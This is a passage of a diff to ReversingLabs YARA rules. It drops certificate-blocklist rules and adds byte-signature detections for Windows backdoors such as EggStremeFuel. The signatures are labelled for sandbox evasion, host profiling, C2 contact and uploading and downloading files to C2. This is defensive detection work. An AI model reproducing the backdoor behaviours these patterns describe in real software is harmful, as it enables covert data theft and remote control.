i ] . serial == "13:79:43:71:c0:52:ec:05:59:e9:b4:92:ab:b2:5c:26" and 1599177600 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_5C7E78F53C31D6Aa5B45De14B47Eb5C4 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "5906107a-03ce-5ca4-b0a7-12b0b45359dd" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5100-L5116" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7521abc5c93f0336af4fab95268962aa3d3fb48fed6a8ba7fdb98e373158b327" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $anti_sandbox_detect_environment = { + 55 57 56 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 89 4D ?? 48 89 55 ?? E8 ?? + ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 C7 45 ?? ?? ?? ?? ?? 48 8D 55 ?? 48 8D 45 ?? 4C + 8D 05 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF D0 85 C0 75 ?? 48 8B 45 ?? 48 85 + C0 74 ?? B8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 48 8D 45 ?? 48 + 89 C1 E8 ?? ?? ?? ?? 48 8B 55 ?? 48 8D 4D ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? + ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 + ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 + E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF + D0 85 C0 0F 94 C0 84 C0 74 ?? 48 8D 05 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF + D0 BB ?? ?? ?? ?? BE ?? ?? ?? ?? EB + } + $collect_host_information = { + 55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? C7 45 ?? + ?? ?? ?? ?? 8B 45 ?? 89 C0 48 BA ?? ?? ?? ?? ?? ?? ?? ?? 48 39 C2 72 ?? 48 01 C0 48 + 89 C1 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 + 8B 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? + 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 49 89 D0 48 89 C2 B9 ?? + ?? ?? ?? 48 8B 05 ?? ?? ?? ?? FF D0 85 C0 0F 95 C0 84 C0 0F 84 ?? ?? ?? ?? 48 8D 45 + ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 4D ?? 48 8B 55 ?? 48 8D 45 ?? 49 89 C8 48 89 C1 E8 + ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? + 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 + 89 C2 48 8D 4D ?? 48 8D 45 ?? 49 89 C9 49 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? + 48 8D 55 ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? + 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? + 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 + ?? ?? ?? ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 45 ?? 48 8D 15 ?? + ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 89 + C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 + C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D + 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 + 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? + 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 8B 45 ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3 + } + $contact_c2_server = { + 55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? 48 8D 45 + ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8D 85 ?? ?? ?? ?? 49 89 D0 48 8D 15 ?? ?? + ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 8D 50 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? + ?? ?? 48 8B 55 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 4C 8D 45 + ?? 48 8B 55 ?? 48 8D 8D ?? ?? ?? ?? 48 89 4C 24 ?? 48 8D 4D ?? 48 89 4C 24 ?? 4D 89 + C1 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? + 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 + 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 + E8 ?? ?? ?? ?? 85 C0 0F 95 C0 84 C0 74 ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? + ?? 48 8D 95 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 4D ?? 48 8D 55 ?? + 48 8B 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? BB + ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 89 D8 + EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 + C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? + 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 + C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? ?? ?? ?? 48 89 C1 + E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3 + } + $parse_c2_response = { + 55 53 48 83 EC ?? 48 8D 6C 24 ?? 48 89 4D ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 + 8D 55 ?? 48 8D 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 + ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? + ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 41 B8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 + ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 C1 48 8B 55 ?? 48 + 8B 45 ?? 49 89 C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B + 55 ?? 48 01 C2 48 8B 45 ?? 49 89 D0 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 + ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 + D8 48 89 C1 E8 ?? ?? ?? ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 + 89 C1 E8 ?? ?? ?? ?? 90 48 83 C4 ?? 5B 5D C3 + } + $download_file_from_c2_p1 = { + 55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? 4C 89 45 + ?? 4C 89 4D ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 5D ?? 48 8B 55 ?? + 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? + ?? 49 89 D0 48 89 C2 48 89 D9 E8 ?? ?? ?? ?? 85 C0 0F 95 C0 88 45 ?? 48 8D 85 ?? ?? + ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 0F B6 45 ?? 83 F0 ?? 84 C0 0F 84 ?? ?? ?? ?? 48 8D 85 + ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 45 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? + 48 89 C2 48 8D 85 ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 48 8B 05 ?? ?? ?? ?? FF + D0 89 45 ?? 83 7D ?? ?? 0F 95 C0 84 C0 74 ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 + 8D 55 ?? 48 8B 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 + ?? 48 89 C1 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 9D ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? + 48 89 C1 E8 ?? ?? ?? ?? 48 89 C2 48 8B 45 ?? 49 89 D9 49 89 D0 BA ?? ?? ?? ?? 48 89 + C1 E8 ?? ?? ?? ?? 48 8B 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 8D 45 ?? 48 + } + $download_file_from_c2_p2 = { + 89 C1 E8 ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 49 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 + E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 8D 45 ?? 48 8B 55 ?? 49 + 89 D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 + ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8B 45 ?? 48 8B 4D ?? 48 8D 55 ?? 49 89 C8 48 + 89 C1 E8 ?? ?? ?? ?? 90 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 + ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 85 ?? + ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? + EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 + C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 + 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 48 8B + 45 ?? 48 81 C4 ?? ?? ?? ?? 5B 5D C3 + } + $reply_to_c2_server = { + 55 53 48 81 EC ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 4D ?? 48 89 55 ?? 4C 89 45 + ?? 4C 89 4D ?? 48 8B 55 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? + 48 8B 55 ?? 41 B8 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8B 55 ?? 49 89 + D0 48 8D 15 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 ?? + ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 8D ?? ?? ?? ?? 48 8D 55 ?? 49 89 + C8 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 8D 55 ?? 4C 8D 05 ?? ?? ?? ?? 48 89 C1 E8 + ?? ?? ?? ?? 48 8D 55 ?? 48 8B 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 + ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? + 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? EB + ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 + E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 8D 45 ?? 48 89 C1 E8 ?? ?? ?? ?? EB ?? 48 89 C3 48 + 8D 85 ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 48 89 D8 48 89 C1 E8 ?? ?? ?? ?? 90 48 81 + C4 ?? ?? ?? ?? 5B 5D C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Cubic Information Systems, UAB" and pe.signatures [ i ] . serial == "5c:7e:78:f5:3c:31:d6:aa:5b:45:de:14:b4:7e:b5:c4" and 1579824000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $anti_sandbox_detect_environment ) and ( $collect_host_information ) and ( $contact_c2_server ) and ( $parse_c2_response ) and ( all of ( $download_file_from_c2_p* ) ) and ( $reply_to_c2_server ) } - -rule REVERSINGLABS_Cert_Blocklist_Dadf44E4046372313Ee97B8E394C4079 : INFO FILE +rule REVERSINGLABS_Win64_Backdoor_Eggstremefuel : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects EggStremeFuel backdoor." author = "ReversingLabs" - id = "bebfbbd7-8d42-50a3-8efa-85b641eb069a" - date = "2020-08-05" - modified = "2023-11-08" + id = "ec9d0294-042c-513e-9b7e-1cb9ca812f09" + date = "2025-11-03" + modified = "2025-11-03" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5118-L5136" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.EggStremeFuel.yara#L1-L144" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "170533935b91776ec2413106c55ed4a01c33f32a469a855824cac796f2e132a0" + logic_hash = "c229cc4357353a8bc1305389e0b4146558ef449498eeb3a9dc118b82895d6e80" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "EggStremeFuel" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Digital Capital Management Ireland Limited" and ( pe.signatures [ i ] . serial == "00:da:df:44:e4:04:63:72:31:3e:e9:7b:8e:39:4c:40:79" or pe.signatures [ i ] . serial == "da:df:44:e4:04:63:72:31:3e:e9:7b:8e:39:4c:40:79" ) and 1600244736 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_F8C2E08438Bb0E9Adc955E4B493E5821 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "65297530-2482-5773-8914-461fb56cb41d" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5138-L5156" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5dbe554032c945c46ffd61ef1e0deb59d396a70dd63994bf44c65d849ec8220a" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $download_file_from_c2 = { + 48 89 5C 24 ?? 55 56 57 48 8D AC 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 2B + E0 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 0F 10 02 48 8D 44 24 ?? 48 8B + F9 0F 10 4A ?? B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 0F 11 00 0F 10 42 ?? 0F 11 48 ?? 0F + 10 4A ?? 0F 11 40 ?? 0F 10 42 ?? 0F 11 48 ?? 0F 10 4A ?? 0F 11 40 ?? 0F 10 42 ?? 0F + 11 48 ?? 0F 11 40 ?? 48 03 C1 0F 10 42 ?? 48 03 D1 48 8D 8D ?? ?? ?? ?? 0F 11 40 ?? + 0F 10 0A 0F 10 42 ?? 0F 11 08 0F 10 4A ?? 0F 11 40 ?? 0F 10 42 ?? 0F 11 48 ?? 0F 10 + 4A ?? 33 D2 0F 11 40 ?? 0F 11 48 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 C1 E8 ?? 85 C0 + 75 ?? 48 8D 44 24 ?? 49 83 C8 ?? 49 FF C0 42 80 3C 00 ?? 75 ?? 45 33 C9 48 8D 54 24 + ?? E9 ?? ?? ?? ?? 81 7C 24 ?? ?? ?? ?? ?? 75 ?? 48 8D 44 24 ?? 49 83 C8 ?? 49 FF C0 + 42 80 3C 00 ?? 75 ?? 41 B9 ?? ?? ?? ?? EB ?? 33 D2 48 8D 4D ?? 41 B8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 44 8B 44 24 ?? 48 8D 95 ?? ?? ?? ?? 48 8B 8F ?? ?? ?? ?? 45 33 C9 FF 15 + ?? ?? ?? ?? 44 8B 44 24 ?? 8B D8 41 3B C0 7D ?? 48 63 CB 48 8D 95 ?? ?? ?? ?? 48 03 + D1 44 2B C3 48 8B 8F ?? ?? ?? ?? 45 33 C9 FF 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B F0 FF + 15 ?? ?? ?? ?? 85 F6 7F ?? 48 8B CF E8 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 44 8B 44 + 24 ?? 03 DE 41 3B D8 7C ?? 44 89 44 24 ?? 48 8D 97 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 4C + 8D 8D ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 44 8B 44 24 ?? 48 8D 95 ?? ?? ?? ?? 41 + B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C + 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5F 5E 5D C3 + } + $upload_file_to_c2 = { + 48 89 5C 24 ?? 48 89 74 24 ?? 55 57 41 56 48 8D AC 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 48 2B E0 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 48 8B 3D ?? + ?? ?? ?? 45 8B F0 48 8B F2 48 8B 4F ?? 48 85 C9 74 ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? + ?? ?? 48 8B CE E8 ?? ?? ?? ?? 48 89 47 ?? 48 8B D8 48 85 C0 75 ?? FF 15 ?? ?? ?? ?? + 33 D2 48 8D 4C 24 ?? 8B D8 44 8D 42 ?? E8 ?? ?? ?? ?? 44 8B C3 48 8D 15 ?? ?? ?? ?? + 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 83 C8 ?? 48 FF C0 80 3C 01 ?? 75 ?? + 4C 8B C8 4C 8D 44 24 ?? BA ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 C6 44 24 ?? ?? 33 D2 48 + 89 44 24 ?? 41 B8 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 4D ?? 66 89 44 24 ?? 88 44 24 ?? + E8 ?? ?? ?? ?? 33 D2 48 8B CB 44 8D 42 ?? E8 ?? ?? ?? ?? 48 8B 4F ?? E8 ?? ?? ?? ?? + 44 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 4F ?? 45 33 C0 41 + 8B D6 E8 ?? ?? ?? ?? 48 8D 4C 24 ?? 48 83 C8 ?? 48 FF C0 80 3C 01 ?? 75 ?? 89 44 24 + ?? 45 33 C9 48 8D 44 24 ?? 4C 8B C6 48 89 44 24 ?? 45 8D 71 ?? 41 8B D6 E8 ?? ?? ?? + ?? EB ?? 4C 8B 4F ?? 48 8D 4D ?? BA ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 + ?? ?? ?? ?? 48 8B D8 FF 15 ?? ?? ?? ?? 83 64 24 ?? ?? 4C 8D 45 ?? 48 83 64 24 ?? ?? + 44 8B CB 41 8B D6 E8 ?? ?? ?? ?? 84 C0 74 ?? 48 8B 4F ?? E8 ?? ?? ?? ?? 85 C0 74 ?? + B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 4C 8B C6 41 8B D6 83 64 24 ?? ?? + 48 83 64 24 ?? ?? E8 ?? ?? ?? ?? 48 8B 4F ?? 48 85 C9 74 ?? E8 ?? ?? ?? ?? 48 8B 8D + ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? + 49 8B E3 41 5E 5F 5D C3 + } + $get_logical_drive_data_p1 = { + 48 8B C4 55 57 41 54 41 56 41 57 48 8D A8 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 C7 44 + 24 ?? ?? ?? ?? ?? 48 89 58 ?? 48 89 70 ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? + ?? ?? ?? 48 8B F9 33 D2 41 B8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 + ?? ?? 33 C0 48 89 45 ?? 88 45 ?? 33 D2 33 C9 FF 15 ?? ?? ?? ?? 48 63 D8 48 8B CB E8 + ?? ?? ?? ?? 48 8B F0 48 8B D0 8B CB FF 15 ?? ?? ?? ?? 45 33 E4 41 BE ?? ?? ?? ?? 45 + 8B C6 33 D2 48 8D 4D ?? E8 ?? ?? ?? ?? 45 8B C6 33 D2 48 8D 8D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 8B C3 99 83 E2 ?? 03 C2 C1 F8 ?? 85 C0 0F 8E ?? ?? ?? ?? 33 DB C6 44 24 ?? ?? + 4C 8B F6 44 8B F8 8A 04 33 88 44 24 ?? 49 8B CE FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 80 + 7F ?? ?? 75 ?? 0F B7 44 24 ?? 66 89 47 ?? C6 47 ?? ?? C6 47 ?? ?? 48 8D 15 ?? ?? ?? + ?? EB ?? 83 F8 ?? 75 ?? 48 8D 15 ?? ?? ?? ?? EB ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 48 8D + 15 ?? ?? ?? ?? 44 0F BE 04 33 48 8D 4D ?? E8 ?? ?? ?? ?? 0F B7 45 ?? 66 89 45 ?? 8A + 45 ?? 88 45 ?? 4C 8D 4C 24 ?? 4C 8D 44 24 ?? 48 8D 54 24 ?? 48 8D 4D ?? FF 15 ?? ?? + ?? ?? 85 C0 74 ?? 4C 8B 4C 24 ?? 49 C1 E9 ?? 4C 8B 44 24 ?? 49 C1 E8 ?? 48 8D 15 ?? + ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? + ?? ?? 48 83 64 24 ?? ?? C6 44 24 ?? ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? + ?? ?? 90 48 C7 45 ?? ?? ?? ?? ?? 48 83 65 ?? ?? C6 44 24 ?? ?? 48 8D 55 ?? 48 8D 4C + } + $get_logical_drive_data_p2 = { + 24 ?? E8 ?? ?? ?? ?? 90 48 8D 4F ?? 4C 8D 44 24 ?? 48 8D 54 24 ?? E8 ?? ?? ?? ?? 90 + 45 33 C0 B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 90 45 33 C0 B2 ?? 48 8D 4C 24 ?? E8 ?? + ?? ?? ?? 41 B8 ?? ?? ?? ?? 33 D2 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 B8 ?? ?? ?? + ?? 33 D2 48 8D 4D ?? E8 ?? ?? ?? ?? 49 83 C6 ?? 41 83 C4 ?? 48 83 C3 ?? 49 83 EF ?? + 0F 85 ?? ?? ?? ?? 48 8D 54 24 ?? 48 8D 4F ?? E8 ?? ?? ?? ?? 90 48 83 78 ?? ?? 72 ?? + 48 8B 00 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 90 45 33 + C0 B2 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8D 85 ?? ?? ?? ?? 49 83 C9 ?? 49 FF C1 42 + 80 3C 08 ?? 75 ?? 83 64 24 ?? ?? 48 83 64 24 ?? ?? 4C 8D 85 ?? ?? ?? ?? BA ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 8D 4F ?? E8 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? + ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 73 ?? 49 8B E3 41 5F 41 5E 41 5C 5F + 5D C3 + } + $get_os_information_p1 = { + 48 8B C4 55 41 54 41 56 48 8D A8 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 C7 44 24 ?? ?? + ?? ?? ?? 48 89 58 ?? 48 89 70 ?? 48 89 78 ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 + ?? ?? ?? ?? 48 8B F1 33 D2 41 B8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + 8D 7E ?? 48 8B CF E8 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 45 33 E4 44 89 64 24 ?? 48 8D 54 24 ?? 33 C9 FF 15 ?? ?? ?? ?? 8B 4C 24 ?? + E8 ?? ?? ?? ?? 48 8B D8 44 8B 44 24 ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 48 8D 54 24 ?? + 48 8B CB FF 15 ?? ?? ?? ?? 41 BE ?? ?? ?? ?? 45 8B C6 33 D2 48 8D 4D ?? E8 ?? ?? ?? + ?? 44 89 74 24 ?? 48 8D 54 24 ?? 48 